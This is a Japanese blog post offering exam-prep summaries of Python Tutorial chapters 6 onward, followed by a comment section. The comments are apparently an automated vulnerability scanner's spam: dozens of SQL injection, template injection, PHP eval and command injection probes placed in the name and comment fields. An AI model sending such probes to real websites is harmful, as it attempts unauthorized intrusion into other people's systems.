カテゴリ:Python 投稿:2022年8月22日22:26、更新:2022年8月22日22:27
・記事の概要
Python3エンジニア認定基礎試験でよく問われる
Pythonチュートリアル(第4版)の内容の中で記憶が曖昧になりそうな部分を
それぞれシートにまとめてみました!6章以降の内容です。
初学者や非エンジニアの方にも、なるべく分かりやすくまとめます!
・この記事の対象
・Python3エンジニア認定基礎試験を受験する方(非エンジニアの方含み)
・Pythonチュートリアルの6章~の確認をしたい方
・同試験を受験する直前に記憶のチェックをしたい方
・なんの解説か
普段はPythonチュートリアル(第4版)を章ごとに解説していますが
今回は試験前のまとめのような感じです。
詳細な知識ではなく、試験直前で確認するチートシート的内容です。
今回は6章以降をまとめます。
前回1~5章までをまとめたものは以下です。
また、公式書籍の準備がまだという方は、購入をお勧めします。
内容が分かりにくいというレビューも聞きますが、
(実際に初学者へ凄く丁寧な説明というわけではないが)
要点をかなりしっかり抑えた内容ですので、
資格取得という面ではなくとも手元にあるといいものです。
・実際のシート
以下にシートでまとめていきますので、ご利用ください。
前述の通り、試験前の知識整理や確認が用途です。
6,7章は出題数が少ないのでここでは掲載しませんが、関連記事に補足説明記事があります。
・8章:エラー制御関連
・10章:よく出る標準ライブラリ
・10章:正規表現(補足)
・12章:問われやすい観点抜粋
・まとめ
ちょっとまだ思いついたものをシートに起こしている状態なので
「これも該当するなあ」というものがあれば追加していきます。
Python3認定基礎試験の解説記事は今後も続けてみようと思いますが、
皆様の参考になれば幸いです。
繰り返しにはなりますが、受験には公式書籍があった方がいいですので
メインは書籍でインプットをしていきましょう!
ただ「本当にプログラミング自体が初心者で」という場合は公式書籍の前に
「スッキリシリーズ」のテキストから入ると挿絵や説明がかなり分かりやすく
初めての理解には役立つかもしれません。
私も未経験の新卒時にはJavaで同じシリーズを読んでいました。
・関連記事
Python3認定基礎試験関連の記事が以下にもあります。
参考までにぜひ!
・1~5章までの総まとめ(前半記事)
・第4章(P30~)に関する説明記事
・第9章の前に読んでほしい記事
・1問1答形式で使いやすい演習問題サイトの紹介記事
コメント一覧
名無し / 2023年9月13日7:32
123456
名無し / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
/*1*/{{860422301+971048506}}
名無し / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456
${832793314+824412766} / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
${973651086+970231967}
名無し / 2023年9月13日7:33
123456
${@var_dump(md5(848105017))}; / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
${820439044+901474051}
名無し / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
${(868902792+966015450)?c}
名無し / 2023年9月13日7:33
123456'and/**/extractvalue(1,concat(char(126),md5(1949016411)))and'
'-var_dump(md5(932030220))-' / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456
名無し'and's'='s / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
#set($c=867832748+931492497)${c}$c
名無し / 2023年9月13日7:33
123456"and/**/extractvalue(1,concat(char(126),md5(1140921158)))and"
名無し / 2023年9月13日7:33
${@var_dump(md5(959518286))};
名無し'and'y'='z / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
<%- 911539642+814755073 %>
名無し
expr 988708607 + 820460379 / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
extractvalue(1,concat(char(126),md5(1920762485)))
名無し / 2023年9月13日7:33
'-var_dump(md5(223646177))-'
名無し"and"h"="h / 2023年9月13日7:33
123456
名無し|expr 877474274 + 823100580 / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456'and(select'1'from/**/cast(md5(1478392445)as/**/int))>'0
名無し"and"f"="m / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456/**/and/**/cast(md5('1884214356')as/**/int)>0
名無し / 2023年9月13日7:33
123456
名無し&set /A 863745276+990159474 / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1377631203')))
名無し / 2023年9月13日7:33
123456
expr 993503071 + 816904306 / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1386187011')))>'0
名無し / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456
expr 897399516 + 908106799
名無し / 2023年9月13日7:33
123456鎈'"\(
/*1*/{{869909689+962227890}} / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456|expr 882072054 + 942851588
名無し / 2023年9月13日7:33
123456'"\(
${978744005+870579856} / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456$(expr 895442983 + 913327116)
${(959325699+819669138)?c} / 2023年9月13日7:33
123456
名無し / 2023年9月13日7:33
123456&set /A 921222913+963591131
名無し / 2023年9月13日7:33
expr 899190644 + 900081160
<%- 866397046+929924973 %> / 2023年9月13日7:34
123456
名無し / 2023年9月13日7:34
123456/**/and+4=4
名無し / 2023年9月13日7:34
123456/**/and+1=6
名無し / 2023年9月13日7:34
123456'and'z'='z
名無し / 2023年9月13日7:34
123456'and'p'='i
名無し / 2023年9月13日7:34
123456"and"e"="e
名無し / 2023年9月13日7:34
123456"and"l"="o
名無し / 2023年9月13日7:34
(select*from(select+sleep(0)union/**/select+1)a)
名無し / 2023年9月13日7:34
(select*from(select+sleep(2)union/**/select+1)a)
名無し鎈'"\( / 2023年9月13日7:34
123456
名無し / 2023年9月13日7:34
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
名無し'"\( / 2023年9月13日7:34
123456
名無し / 2023年9月13日7:34
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
名無し / 2023年9月13日7:34
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
名無し / 2023年9月13日7:34
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
名無し / 2023年9月13日7:34
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
名無し / 2023年9月13日7:34
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
名無し / 2023年9月13日7:35
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
名無し / 2023年9月13日7:35
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
名無し / 2023年9月13日7:35
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
名無し / 2023年9月13日7:35
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
名無し / 2023年9月13日7:35
123456'and(select+1)>0waitfor/**/delay'0:0:0
名無し / 2023年9月13日7:35
123456'and(select+1)>0waitfor/**/delay'0:0:2
名無し / 2023年9月13日7:35
123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('p',0)
名無し / 2023年9月13日7:35
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('e',2)
名無し / 2023年9月13日7:35
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',0)='e
名無し / 2023年9月13日7:35
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',2)='h